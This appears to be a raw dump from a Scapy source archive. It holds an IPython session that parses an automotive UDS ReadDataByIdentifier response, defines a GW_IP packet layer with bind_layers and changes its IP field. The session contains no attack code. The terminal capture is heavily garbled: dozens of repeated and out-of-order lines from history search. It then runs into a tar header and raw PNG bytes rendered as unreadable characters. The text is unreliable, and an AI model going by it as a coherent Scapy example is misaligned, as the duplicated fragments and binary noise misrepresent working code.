scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev709 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> load_contrib("automotive.uds") >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') <UDS service=ReadDataByIdentifierPositiveResponse |<UDS_RDBIPR dataIdentifier=0xabcd |<Raw load='\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00' |>>>>>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00').show() >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00').show() ###[ UDS ]### service= ReadDataByIdentifierPositiveResponse###[ ReadDataByIdentifierPositiveResponse ]### dataIdentifier= 0xabcd###[ Raw ]### load= '\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00'>>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00').show() I-search backward: c >>> class GW_IP(Packet): I-search backward: cl >>> class GW_IP(Packet): ...: IPField("DEFAULT_GATEWAY", "")] I-search backward: cla >>> class GW_IP(Packet): >>> class GW_IP(Packet): >>> class GW_IP(Packet): >>> class GW_IP(Packet): >>> class GW_IP(Packet): >>> class GW_IP(Packet): ...: name="GW IP" ...: name="GW IP" ...: fields_desc = [ ...: fields_desc = [ ...: ByteField("Format", 0), ...: ByteField("Format", 0), ...: IPField("IP", ""), ...: IPField("IP", ""), ...: IPField("SUBNETMASK", ""), ...: IPField("SUBNETMASK", ""), ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: fields_desc = [ >>> class GW_IP(Packet): ...: ...: >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00').show() I-search backward: b >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: bi >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: bin I-search backward: bind >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: U >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UD >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS_ >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS_R >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS_RD >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS_RDB >>> bind_layers(UDS_RDBIPR, GW_IP, dataIdentifier=0xabcd) I-search backward: UDS_RDBI >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" I-search backward: UDS_RDBI. >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" >>> UDS_RDBI.dataIdentifiers[0xabcd] = "GatewayIP" ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("DEFAULT_GATEWAY", "")] ...: IPField("SUBNETMASK", ""), ...: IPField("IP", ""), ...: ByteField("Format", 0), ...: name="GW IP" ...: fields_desc = [ ...: name="GW IP" <UDS service=ReadDataByIdentifierPositiveResponse |<UDS_RDBIPR dataIdentifier=GatewayIP |<GW_IP Format=0 IP=169.254.25.116 SUBNETMASK=255.255.0.0 DEFAULT_GATEWAY=0.0.0.0 |>>> ...: IPField("IP", ""), ...: ByteField("Format", 0), ...: IPField("IP", ""), ...: fields_desc = [ ...: ByteField("Format", 0), ...: fields_desc = [ ...: name="GW IP" >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pUDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pkUDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pktUDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pkt UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pkt =UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') service= ReadDataByIdentifierPositiveResponse ###[ ReadDataByIdentifierPositiveResponse ]### dataIdentifier= GatewayIP ###[ GW IP ]### Format= 0 IP= 169.254.25.116 SUBNETMASK= 255.255.0.0 DEFAULT_GATEWAY= 0.0.0.0>>> pkt = UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> p >>> pk >>> pkt >>> pkt. >>> pkt.I >>> pkt.IP >>> pkt.IP >>> pkt.IP = >>> pkt.IP = >>> pkt.IP = " >>> pkt.IP = "0 >>> pkt.IP = "0. >>> pkt.IP = "0.1 >>> pkt.IP = "0.1. >>> pkt.IP = "0.1.2 >>> pkt.IP = "0.1.2. >>> pkt.IP = "0.1.2.3 >>> pkt = UDS(b'\x62\xab\xcd\x00\xa9\xfe\x19t\xff\xff\x00\x00\x00\x00\x00\x00') >>> pkt.IP = "0.1.2.3" >>> pkt.IP = "0.1.2.3" >>> pkt <UDS service=ReadDataByIdentifierPositiveResponse |<UDS_RDBIPR dataIdentifier=GatewayIP |<GW_IP Format=0 IP=0.1.2.3 SUBNETMASK=255.255.0.0 DEFAULT_GATEWAY=0.0.0.0 |>>>>>> scapy-2.4.4/doc/scapy/graphics/ble_eddystone_url.png000066400000000000000000000136101372370053500225420ustar00rootroot00000000000000‰PNG  IHDRcA¼"Ç`PLTE !(*(130897?A?GIFOQOWYV\^[tvs$œ#z|y…‡„’Y®Xœž›¤¦£¬®«´·³º¼¹ŸÌŸµÑµÉËÈÏÑνڽØÚ×áäàêìéñóðóöòùûøÇá²NãIDATxÚí {œ*†›[“X°€´RnþÿyÀ»›l’Mzš|ßót‹«"ë¼3ãÆýÖ@Ð }Ã)€8 Àh-vê}ÒGÃÁÛV´œÁ*ï"®ùËÐpƒ<^1؇ÂÁ…’²“RµÀã=¤ÏO]“Y›µḇß(p°„£R«G§¤ï ~ØÑÁy¾(G±sàpÃ(ûappÕI¥¤’Z* :.+¥3aK‡¼a‚Ÿf­¬Ô*UÍÆÒÀ×dù‹á`‚\F‘†ï¸°ÜÐÝÐÁ þr8BÒfè}/RSzjök¥iz1íHFÖ5èíjC2V‚ƒùÙhtœ gL®áH˜>y&Ö´qp½½[Sf6+^ ‡PzÆCwJ·0é…éHp¤™es^Å’Ž5ò0ª 8"+¡Ç Ï!á$ .½o·[Ó¨!ñùò˜ƒÉz‹^˜ŽtõîØhÄ’Ž]¤˜“Áá29K8D ÏÀbÁ]R£Ô…ë–kÊìö 8T×-f•®ë{‹^˜ŽaÏF#–t,Ny[“’¨ÙSs–eÌAívÚZ:³äua4¯I/ÒX#^î9”ZŽżrY%Ï>ìí"–tLp°~NIœØÁ¡¦µÝ×Á¦¹„–v“V.רڣ|)bIGjÀqù2ÇWK:F8J¾1©g8ú”.ð¸ƒC±­Ý¾eNÓ”ž&œ¤z9­èÎÀqq6èK:øbÓ`’-ÎÓ‡o7ÙJŠHí®‚ÞM>û”n×蜲ˆ<÷¼.gבþ׃FÌqY6‚ú°£C,éàc~áÉ7”T–ýGöÞÀA©HµeŠ5øÁš¤Rò…p4-å²*£‘bS$ —eC¤TVÄ©ü°…ƒè¨ÕåæÖTçàØÀ¡Û]…TN• ¶)µMkTÎùQèó Œ¨ {+ZÊ.AŽYåÂlPLíê“âTñüÉ"XÍep$ìjhÂÌ”qª¢ÏkxFSgD^ŤÄEš]TʃP!½¤lb#Á±¨[À!ø¹px½½·ÂR¢ìH–ÂNŸ›2糋59"=Ãpäû5t÷Í„ÁHD—ã5ÎÔÍplèHnƱC8ÜîÆÛt;ÎÏYpטD×¼†&¬”âľy‰ŽÞ:£ëØx—|eÍò“tdïà+¤weÙ¨E«a¼,–Éħ§„ç¾&ÈÛüu ñR‡þœñYb)¦ÓÙp0±Ìßçp—ßß!e6Þmr9kö¯SÅó…~` •/øP8 ¯*Àp@€ú84зA'8 Àp@€à€8 Àà€8 Àp@€à€ Àp@€ú?ÃaúÞ^ü@¹¾ïŸôpø~!?½¾_]éxjñ’JV6Ç EýõÕmHã]üŽIöæjÒuÿàWW7v$5†á›Ž‚ãú2pØûûûWùy“0ú„þj˜ Gúïy8^=ÀqŽVU¹7Àq}uý*»„Ç««&”v{uuçáJèg§•Wpœ4êAÀ÷qpD•& 7¥Çp<=>Àñ1pÓ6¼÷ãÉ_.NábmxzJº0R •úéúìøf ÓnÌ5lL]0=zúµ a6Q9(cqô» Ê.ᘒ–ÝødCËñéAß5<€‚·ÁáYBšÛròW‹âêêžN°¿Ëa‚},‘JãbW£™Övw¹y«¨»´‚ñÜÅc6”/ ×|‘5©ÿÜJý§þuéá¦õ«˜#;Íø\Y¼º7ñô R0û˜Æz 8ÞGKV¹Íg\oéÊ6q ý}ŠšÇ´®ñú.ëêî.Ù¥KoÜÜ%op­ i§[J‰8™¶É›]­¦d»[_§ AËiëïß«™7p¬ÇGý]?>Ò.ž„.Ўפ²–9jîк`›rò׋!á Jö™BÈtÊï]y.!mymCˆ.Yž»àxI=éjfe‘l“â‹ÛÞûdþëyfqÕ TöÂCêÁ_£Ó5›ñW&{G;9‚ã¶• ¼>•¥“Ÿ<ûc˜ ¶Y”y‘¬WèòìáAϱ`2ÿ½¯IˆÈp|÷ºk›ë]õOb+ÕÔáå%œs \!h Çf@=ç²NH<žÕH x+dw5g›Åjâ´ ¥ÉîwÒïgOv!s”+´ËJWnhö¢ùÈQ@ØÌ+£_й?ï\Þe Çv@yÛàœ*éð‰AèBô†i…\úݘ8Ö‹ù¬wtÆ)€té½ëï¶Ë,rÚ#ƒ°…Cç!龆ž5Î;™©ÌåusGÄŽÍ€ÒqÛ‡ïwÓ,áØ b"ôÊ€4ÜÖ¥ Çz1û놲‹b—’)Ür·€cÜ#ÛÚmàèæjìÕ]XEÁ<¨±æ(Ÿ¹¹9‚c; y“·½^ñภéšëמce {“fÛZ´2’RÊ«¿ºhûé¢õ{Ïq;ýú̺ÐuçF§@%Sí½¿9öËéta½W;ϱภ÷ëiå~ãÅÉk<.oޝJ k´ËÃx§Dç™cÇ®<>¶½®ÌõµŽàØ ¨©m·†c3Àq™:G[}{ ¶‹cÉ sòpÿ@!Bà¹as¬:§åb GŠ1«ÕܺÊM·fGætGŽ<Çf@+r†ã`€ã içª|®5¨][Ø,æür,YQšHiERcÍ-r1\¦ÔCèÖpDNNræáaE‡™ªnùÖ,mêØA̱¥ƒéžàx7·U:Ï×÷wÕV›ÅR“È%…l§«‡¶M.üÖ?ûÐæ«öêþñžŠUaGÎpòÚUIЬ<Î8Ty½y,ÇÜÁ±E¸ß-:̉AŽ·×9òévå†É} 7‹e^)­ ê÷„îúêÙ36¡­=æÛ'8¢}(+oÄÚZjQQ7å¾Èc¹ƒ³)Ÿ¯Ds¥+­ãAŽWÂá–?_™oµÊÇûGẲ´]$Ï=Å”V<Þß7²¦.]óýÜAèÛ‡ï\gs!r 3¦ÞsÃ+öðý±µa?Œ©ˆIý>JŸŽ©h!'6vÌoÖ »¿çÆÖîŸô28ŽrN/êÕ=³RÝm˜Z§¯Ô°éÿŒ!<µr5„³½ާä›ÃïA€ÃèÓ7à8öçëo!C€cÇþ p§6º÷8“€8 Àp@€à€8 Àà€8 Àp@ŸkLA;c¿ÙDíeí7ç,ȹo‚N蛇 ú è„ÊB§SÙ‚Np@€à€8 Àp@€8 Àp@€à€8 ÀA€à€8 Àp@€8 Àý{pDcâ¼äŒû C°ºÓ.PÓ"΄#”GÙ–÷„lw¦M]o6ïx!öè…~ÃGéû¹å—­rØŸÆ+AÊûv€ˆ3áð¢HöñÉ>Ô¹6í„w–ÂÖ–‰[+ÔéOÓ iœÕn†#ø.Σ·Öh!Ô“§«žÚgEæ1ï‡î98>Món ÿq®z^}‰c¡²™ÞŽ(e|ŽƒOã„Çà˜ÑãâÂõFŸlë}1‹wÆŽ¦ž¶\M?NÎ×iHág˜àH›ûXàHÝ›ãÔe'¹öíÉ}‰)äx޹AÙ4€ôY}Ž ‡÷èóÒâðécÆ¿-ÿp¤‹IÏÁ›šÎ79ƒŽÎ)Ù"ê<¥ë¸Þry‘ÊdþÑ„Væù¿ÀQöUå0Rô2¿½ì¤´¥Ý¶W½?ŽñÓ¿!ò\gò[‡Ìï¨õg°4¶Ë¸Ïχ’–¥PƤ.ÐTí‹3°³7–½MfÕë-—AAŸº¬Î?™Eõ}ŠPs?tæ–¢Â!d§ýª“ Eg(^pëöb¬Ýp.åÓ”|,u“2˜yþ ¦W¢£ôfyx›Ñ5€ãŽ23ëìbGW™˜}N?2®l\öYn9ĪvëÊÅsŒûÊ ‡òÃæpɾ1¿Õ­Û‹pÅž Ç2ΨíŽ)æX^˜ˆ˜ã$a ]xå„ÏÞxòÕtjW[ÎAš¬0G‡yËy_=›vÕ‰)Ó˜§KzÙ> GÏ#< ÇÁ§§áHÞ8ÿÐB^(~ Ëäs:º„âzËu*PÏùèÙËâ¸o_ápÕùϤ=––íÙÆ u8V‡ÏM+VLòdH3Fùœ.òÍ–sgô3 ªžzµ€cÜwDz›#ÇXvlVV‡OÀ‘=¹RWå8AéãŽõ–cP $Iäˆá 86ÓѾ¹¿e»v³2Þ3p˜ÅÖ'áXp<‡ªAáÚ¾Ì*ëie§è4 IYépgN+ÛN¢SSºl“%Í!þµ˜ƒžðjxêŽz:m);¬ª™É’}=e5 -gÜtv»eëBù…—uŽ[¤nW<ÕÚMIè²=•׺桧ù-îà°ËŽŸ HÇ“p3Ý´ìru´³‰z½Ž©löþÙ´ë-w…§ðL*ë†íájRœX¶Ç.õ¦ZZº¥R¾‚cú4OÀ±û´€ãŽNkšÞËÌ\rµÎE—k½¶æ"˜3‹"ؼåêþVÌNŸŠ`Tb‹`¥€¶‚cÙIÚ¼Kíl×e{tbëÊvÌE5«kÅd‚cõiN‘¢©V8ŽàÈš¾®áêwâÚ×–sº*Ÿ¯·Ì—yœM©¦ò¹©åó.WªW1Ǻ+Ûû"G~§/›è0 Û[öݦ¦¿ƒÃS2´><à8 ƒÓyô¦·aZ¨­Po¼Û›p´åú;u¿´µ¥;^õPt«¬»[wÝq{Xßs›¸Ü¼p÷iÊ:?oRœFæÖ‡_ó+Ÿá;¤}‡o÷p@€à€8 èI8,´à˜Ä¡Ç¤m8 p@€à€8 Àp@€8à€8 Àp@€à€p@€Ðÿÿ¿ŒöWá¸þö?Ö5Œ8Î#ÿys\,ÅM3†ãXŠ‹¿Œþ‚!ý%àhéÁ­ª?©Äkíºiøñ³õå™ –¼œ¶$|:8“R¶ K¶uŒ©¾ãY5MÓ~lÙäGW'8T#úŽqD2ŸŽ–^M#†A4ä)<çqÙ<‡ÄâY›&žþÄf€ãŸ‡cà¬üKÒiªX4OÁÁÛÚ° =‹ß5PøÄpˆ&GÑÇeóLøò›Öž‰áôì8þy8,M+–5²þL¢yÂê¡aMÓP<:tMç o‘°|>8x×u’q—SÖð1q›;8JëykfÌÓOK%L²•OGÃkÚ’jD¯SâbVÍ2íüL¤ò…¡Q1í G¶ò§ï=g“e£eãBiîà0}?ý’µkäJ ð)cC©†Så²]cÍ“1GùiÊ„DŸÓÞáë=cô‹ÀÛ2¸FÄ޹y ݸL•Npäß§c-Pø¬E0I5OåC0ŒÇeó.¥²Áe¨R4‚j4PøœpD*‰•2”œºaÙ4ï—pDÛ¶9¾<QrÕ÷ŠÓSö*Jw’·xH8àB/ÚVôô,>ÛÒCÄÛ´({ü¸àÈÎÃ{$&€‚8 Àp@€à€8 p@€à€8 Àp@€‚8 ËÂGQ{~w8jB_ Ž^ŽÒƒ‘ãŸ@©F&:‰?¨þÊp.Òk?=™#?n²6dzÁ¾tÌ‘ÿ~zÖpT$4à[8dyClà8òó:òªpŽ5V I“ç[8ò‚ãpަÍà;8†®õ±•ÉyÀ±…ÃñžVÀ±‡c-=§pŽ‚„©wY2†Ó£Hà(p´Yµò£HÇ׆Ã[_ÿ/òõG³L°x éW†8à€8 Àp@€à€p@€à€8 Àp@à€>å8=ÍT³p¹Ïóì1¡ Ñç’_ôßspäG1›(N†ŠÓÕW×uÏh3ÞÚh±uŽßÏ{–ÌŘw}Ûè¾¼Ò»‚ÞM†ïa4µ<ËtM6=™zZ5¨FšŽµ!AÓö='rÚ†u©³§È5j}¼43¥Ý»F 